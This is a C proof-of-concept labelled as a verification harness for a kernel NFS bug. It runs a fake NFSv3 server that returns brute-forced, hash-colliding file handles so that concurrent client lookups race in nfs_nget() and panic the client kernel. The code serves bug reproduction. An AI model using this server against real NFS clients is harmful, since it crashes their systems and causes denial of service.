/*
 * fakesrv_race.c - NFSv3 server for DF-3194 verification
 *                  (nfs_nget/nfs_nget_nonblock race-loser path vx_put()s a
 *                   never-connected VNON vnode -> VOP_INACTIVE with
 *                   v_data == NULL -> NULL-deref in nfs_inactive)
 *
 * Speak just enough SUNRPC/UDP (rpcbind 111, mountd 779, nfs 2049) like the
 * DF-2996 harness.  Object model designed to make the nfs_nget() creation
 * race easy to hit:
 *
 *   - The export root is a directory, fh = 'A'*32.
 *   - Every name "g%05u" resolves to a file handle from a precomputed POOL.
 *   - EVERY pool file handle is crafted so that
 *        fnv_32_buf(fh, 32, 33554467) & 0x1FFFF == 0
 *     i.e. all of them land in bucket 0 of the client's nfsnode hash
 *     (guest hsize = 131072 -> mask 0x1FFFF, sys/vfs/nfs/nfs_node.c:62,73).
 *
 * The client-side trigger first stats FILL pool entries once (populating
 * bucket 0 with thousands of live nodes -> nfs_nget()'s initial LIST_FOREACH
 * scan of the bucket takes ~0.3-1 ms), then N threads barrier-sync and
 * stat() the SAME fresh name (never looked up before -> guaranteed
 * nfs_nget() miss) concurrently.  When one racing thread is descheduled
 * mid-scan (lwkt_switch drops all of its tokens, sys/kern/lwkt_thread.c:636)
 * and another thread on a different CPU completes a whole nfs_nget() create
 * and LIST_INSERT_HEAD()s the new node into bucket 0 during that time, the
 * first thread resumes its stale scan, misses the new head entry, acquires
 * nfsnhash_lock without sleeping, creates its own vnode, and the
 * "validate that we did not race" loop (nfs_node.c:189) finds the duplicate
 * -> vx_put(vp) on the fresh VNON vnode (nfs_node.c:194) ->
 * vfs_lock.c:vx_put forces VREF_FINALIZE for VNON -> vnode_terminate() ->
 * VOP_INACTIVE -> nfs_inactive() dereferences v_data == NULL -> panic.
 *
 * env: VERBOSE=1 dump requests
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define PORT_PMAP  111
#define PORT_MNTD  779
#define PORT_NFS   2049

#define PROG_PMAP  100000
#define PROG_MNTD  100005
#define PROG_NFS   100003

#define NFS3_NULL     0
#define NFS3_GETATTR  1
#define NFS3_LOOKUP   3
#define NFS3_ACCESS   4
#define NFS3_READ     6
#define NFS3_FSSTAT  18
#define NFS3_FSINFO  19

#define NF3REG 1
#define NF3DIR 2

#define POOL_FILL   16000	/* names g00000..: stat'd once to fill bucket 0 */
#define POOL_HAMMER 84000	/* fresh names for the racing phase           */
#define POOL_TOTAL  (POOL_FILL + POOL_HAMMER)

#define HASH_MASK   0x1FFFFU	/* guest: hsize 131072 -> mask 131071 */

static int verbose;
static unsigned char req[65536];
static unsigned char rep[65536];
static int rlen;

static unsigned char fh_root[32];
static unsigned char (*fh_pool)[32];

static void put32(u_int32_t v)
{
	rep[rlen++] = v >> 24; rep[rlen++] = v >> 16;
	rep[rlen++] = v >> 8;  rep[rlen++] = v;
}
static void puthyper(u_int64_t v) { put32(v >> 32); put32((u_int32_t)v); }
static void put64(u_int64_t v) { puthyper(v); }
static void putbytes(const void *p, int n) { memcpy(rep + rlen, p, n); rlen += n; }
static void pad4(int n) { while (n & 3) { rep[rlen++] = 0; n++; } }
static void putstr(const char *s) {
	int n = strlen(s);
	put32(n); putbytes(s, n); pad4(n);
}
static void putopaque(const void *p, int n) {
	put32(n); putbytes(p, n); pad4(n);
}
static u_int32_t get32(const unsigned char *p)
{
	return (p[0] << 24) | (p[1] << 16) | (p[2] << 8) | p[3];
}

/* FNV-1 exactly like sys/sys/fnv_hash.h fnv_32_buf */
static u_int32_t fnv1_32(const unsigned char *s, int len)
{
	u_int32_t h = 33554467u;
	int i;
	for (i = 0; i < len; i++) {
		h *= 0x01000193u;
		h ^= s[i];
	}
	return h;
}

static void pool_init(void)
{
	int i;
	unsigned long long tries = 0;
	FILE *pf;

	fh_pool = malloc(sizeof(*fh_pool) * POOL_TOTAL);
	if (!fh_pool) { perror("malloc"); exit(1); }

	pf = fopen("/tmp/fh_pool.bin", "r");
	if (pf) {
		if (fread(fh_pool, sizeof(*fh_pool), POOL_TOTAL, pf) == POOL_TOTAL) {
			fclose(pf);
			fprintf(stderr, "[pool loaded from /tmp/fh_pool.bin]\n");
			/* sanity: colliding and distinct */
			if ((fnv1_32(fh_pool[0], 32) & HASH_MASK) != 0 ||
			    (fnv1_32(fh_pool[POOL_TOTAL-1], 32) & HASH_MASK) != 0) {
				fprintf(stderr, "[pool file bogus - regenerating]\n");
			} else {
				return;
			}
		} else {
			fclose(pf);
			fprintf(stderr, "[pool file short - regenerating]\n");
		}
	}

	for (i = 0; i < POOL_TOTAL; i++) {
		unsigned char *fh = fh_pool[i];
		u_int32_t seq = (u_int32_t)i;
		unsigned long long b;
		memset(fh, 0, 32);
		fh[0] = 'G'; fh[1] = 'R'; fh[2] = 'A'; fh[3] = 'C';
		fh[4] = seq >> 24; fh[5] = seq >> 16; fh[6] = seq >> 8; fh[7] = seq;
		for (b = 0; b < 0xffffffffffffffffULL; b++) {
			fh[8]  = b;
			fh[9]  = b >> 8;
			fh[10] = b >> 16;
			fh[11] = b >> 24;
			fh[12] = b >> 32;
			fh[13] = b >> 40;
			fh[14] = b >> 48;
			fh[15] = b >> 56;
			tries++;
			if ((fnv1_32(fh, 32) & HASH_MASK) == 0)
				break;
		}
		if ((i % 4096) == 0) {
			fprintf(stderr, "[pool %d/%d] (%llu tries avg)\n",
				i, POOL_TOTAL, tries / (i + 1));
			fflush(stderr);
		}
	}
	fprintf(stderr, "[pool done] %d handles, all -> bucket 0 "
		"(%llu total tries)\n", POOL_TOTAL, tries);
	pf = fopen("/tmp/fh_pool.bin", "w");
	if (pf) {
		fwrite(fh_pool, sizeof(*fh_pool), POOL_TOTAL, pf);
		fclose(pf);
		fprintf(stderr, "[pool saved to /tmp/fh_pool.bin]\n");
	}
}

static int fh_is_root(const unsigned char *p, int len)
{
	return len == 32 && memcmp(p, fh_root, 32) == 0;
}

static void put_fattr(int type, u_int32_t mode, u_int32_t fileid,
		      u_int64_t size, u_int32_t nlink)
{
	put32(type);
	put32(mode);
	put32(nlink);
	put32(0);		/* uid */
	put32(0);		/* gid */
	put64(size);
	put64(size + 4096);
	put32(0); put32(0);	/* rdev */
	put64(0x1234);
	put64(fileid);
	put32(0x5a5a0000); put32(0);
	put32(0x5a5a0001); put32(0);
	put32(0x5a5a0002); put32(0);
}
static void put_postopattr(int type, u_int32_t mode, u_int32_t fileid,
			   u_int64_t size, u_int32_t nlink)
{
	put32(1);
	put_fattr(type, mode, fileid, size, nlink);
}
static void put_wcc_none(void) { put32(0); put32(0); }

static void reply_hdr(u_int32_t xid)
{
	rlen = 0;
	put32(xid);
	put32(1);		/* REPLY */
	put32(0);		/* MSG_ACCEPTED */
	put32(0); put32(0);	/* verifier NULL */
	put32(0);		/* accept_stat = SUCCESS */
}

struct call {
	u_int32_t xid, prog, vers, proc;
	const unsigned char *args;
	int alen;
};

static int parse_call(int len, struct call *c)
{
	const unsigned char *p = req;
	u_int32_t mtype, credlen, verflen;
	int off;

	if (len < 28) return -1;
	c->xid = get32(p + 0);
	mtype = get32(p + 4);
	if (mtype != 0) return -1;
	c->prog = get32(p + 12);
	c->vers = get32(p + 16);
	c->proc = get32(p + 20);
	off = 24;
	if (off + 8 > len) return -1;
	credlen = get32(p + off + 4);
	off += 8 + ((credlen + 3) & ~3);
	if (off + 8 > len) return -1;
	verflen = get32(p + off + 4);
	off += 8 + ((verflen + 3) & ~3);
	if (off > len) return -1;
	c->args = p + off;
	c->alen = len - off;
	return 0;
}

static int arg_fh(const unsigned char *a, int *off, int alen,
		  const unsigned char **fhpp)
{
	int n;
	if (*off + 4 > alen) return -1;
	n = (int)get32(a + *off);
	*off += 4;
	if (n < 0 || n > 64 || *off + n > alen) return -1;
	*fhpp = a + *off;
	*off += n + ((4 - (n & 3)) & 3);
	return n;
}

static void arg_str(const unsigned char *a, int *off, int alen,
		    char *out, int outmax)
{
	int n;
	if (*off + 4 > alen) { out[0] = 0; return; }
	n = (int)get32(a + *off);
	*off += 4;
	if (n < 0 || n > outmax - 1 || *off + n > alen) { out[0] = 0; return; }
	memcpy(out, a + *off, n);
	out[n] = 0;
	*off += n + ((4 - (n & 3)) & 3);
}

static void handle_pmap(struct call *c, struct sockaddr_in *from, int s)
{
	u_int32_t prog, port = 0;

	if (c->vers == 2 && c->proc == 3) {
		prog = get32(c->args + 0);
		if (prog == PROG_MNTD) port = PORT_MNTD;
		else if (prog == PROG_NFS) port = PORT_NFS;
		reply_hdr(c->xid);
		put32(port);
	} else {
		reply_hdr(c->xid);
	}
	sendto(s, rep, rlen, 0, (struct sockaddr *)from, sizeof(*from));
}

static void handle_mntd(struct call *c, struct sockaddr_in *from, int s)
{
	if (c->proc == 0) {
		reply_hdr(c->xid);
	} else if (c->proc == 1) {
		reply_hdr(c->xid);
		put32(0);
		putopaque(fh_root, 32);
		put32(1); put32(1);
	} else {
		reply_hdr(c->xid);
	}
	sendto(s, rep, rlen, 0, (struct sockaddr *)from, sizeof(*from));
}

static void handle_nfs(struct call *c, struct sockaddr_in *from, int s)
{
	const unsigned char *fh;
	int off = 0, fhlen;
	char name[256];
	unsigned long idx;
	char *end;

	reply_hdr(c->xid);

	switch (c->proc) {
	case NFS3_NULL:
		break;

	case NFS3_GETATTR:
		fhlen = arg_fh(c->args, &off, c->alen, &fh);
		if (fhlen < 0) goto bad;
		put32(0);
		if (fh_is_root(fh, fhlen))
			put_fattr(NF3DIR, 0755, 1, 4096, 3);
		else
			put_fattr(NF3REG, 0666, 2, 0, 1);
		break;

	case NFS3_ACCESS:
		fhlen = arg_fh(c->args, &off, c->alen, &fh);
		if (fhlen < 0) goto bad;
		put32(0);
		put_postopattr(NF3REG, 0666, 2, 0, 1);
		put32(0x3f);
		break;

	case NFS3_LOOKUP: {
		fhlen = arg_fh(c->args, &off, c->alen, &fh);
		if (fhlen < 0) goto bad;
		arg_str(c->args, &off, c->alen, name, sizeof(name));

		/*
		 * Names are <letter><index>.  EVERY letter maps to the
		 * SAME pool file handle for a given index, so 12 threads
		 * stat()ing a0000..l0000 in the same round each run a
		 * separate namecache resolution (no ncp-lock serialisation
		 * between them) but all race nfs_nget() for the identical
		 * file handle.
		 */
		if (name[0] < 'a' || name[0] > 'm' || name[1] == '\0')
			goto noent;
		idx = strtoul(name + 1, &end, 10);
		if (end == name + 1 || *end != '\0' || idx >= POOL_TOTAL)
			goto noent;
		put32(0);				/* ok */
		putopaque(fh_pool[idx], 32);		/* the colliding fh */
		put_postopattr(NF3REG, 0666, 2, 0, 1);
		put_postopattr(NF3DIR, 0755, 1, 4096, 3);
		break;
	}

	case NFS3_FSSTAT:
		put32(0);
		put_postopattr(NF3DIR, 0755, 1, 4096, 3);
		put64(1 << 30); put64(1 << 30); put64(1 << 30);
		put32(0);
		break;

	case NFS3_FSINFO:
		put32(0);
		put_postopattr(NF3DIR, 0755, 1, 4096, 3);
		put32(8192); put32(8192); put32(8192);
		put32(8192); put32(8192); put32(8192);
		put32(8192);
		put64((u_int64_t)1 << 40);
		put32(1); put32(0);
		put32(0x1f);
		break;

	case NFS3_READ:
		put32(0);
		put_postopattr(NF3REG, 0666, 2, 0, 1);
		put32(0); put32(1);
		putopaque("", 0);
		break;

	default:
noent:
		put32(2);				/* NOENT */
		break;
	}
	goto send;
bad:
	reply_hdr(c->xid);
	put32(10001);
send:
	sendto(s, rep, rlen, 0, (struct sockaddr *)from, sizeof(*from));
	if (verbose)
		fprintf(stderr, "nfs p%u -> %d bytes\n", c->proc, rlen);
}

static int mkudp(int port)
{
	struct sockaddr_in sin;
	int s = socket(AF_INET, SOCK_DGRAM, 0);
	int one = 1;
	int rcvbuf = 1 << 20;
	if (s < 0) { perror("socket"); exit(1); }
	setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
	setsockopt(s, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof(rcvbuf));
	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = htonl(0x7f000001);
	sin.sin_port = htons(port);
	if (bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
		fprintf(stderr, "bind port %d: %s\n", port, strerror(errno));
		exit(1);
	}
	return s;
}

int main(void)
{
	int sp, sm, sn, max;
	fd_set rfds;
	struct call c;
	struct sockaddr_in from;
	socklen_t flen;

	verbose = getenv("VERBOSE") != NULL;
	memset(fh_root, 'A', sizeof(fh_root));
	fprintf(stderr, "fakesrv_race: building %d colliding filehandles "
	    "(target: fnv1_32(fh,32) & 0x%x == 0)...\n", POOL_TOTAL, HASH_MASK);
	pool_init();

	sp = mkudp(PORT_PMAP);
	sm = mkudp(PORT_MNTD);
	sn = mkudp(PORT_NFS);
	max = (sp > sm && sp > sn) ? sp : (sm > sn ? sm : sn);

	fprintf(stderr, "fakesrv_race: ready (rpcbind:111 mountd:779 nfs:2049)\n");
	for (;;) {
		FD_ZERO(&rfds);
		FD_SET(sp, &rfds);
		FD_SET(sm, &rfds);
		FD_SET(sn, &rfds);
		if (select(max + 1, &rfds, NULL, NULL, NULL) < 0) {
			if (errno == EINTR) continue;
			perror("select");
			return 1;
		}
		flen = sizeof(from);
		if (FD_ISSET(sp, &rfds)) {
			int n = recvfrom(sp, req, sizeof(req), 0,
			    (struct sockaddr *)&from, &flen);
			if (n > 0 && parse_call(n, &c) == 0)
				handle_pmap(&c, &from, sp);
		}
		flen = sizeof(from);
		if (FD_ISSET(sm, &rfds)) {
			int n = recvfrom(sm, req, sizeof(req), 0,
			    (struct sockaddr *)&from, &flen);
			if (n > 0 && parse_call(n, &c) == 0)
				handle_mntd(&c, &from, sm);
		}
		flen = sizeof(from);
		if (FD_ISSET(sn, &rfds)) {
			int n = recvfrom(sn, req, sizeof(req), 0,
			    (struct sockaddr *)&from, &flen);
			if (n > 0 && parse_call(n, &c) == 0)
				handle_nfs(&c, &from, sn);
		}
	}
}
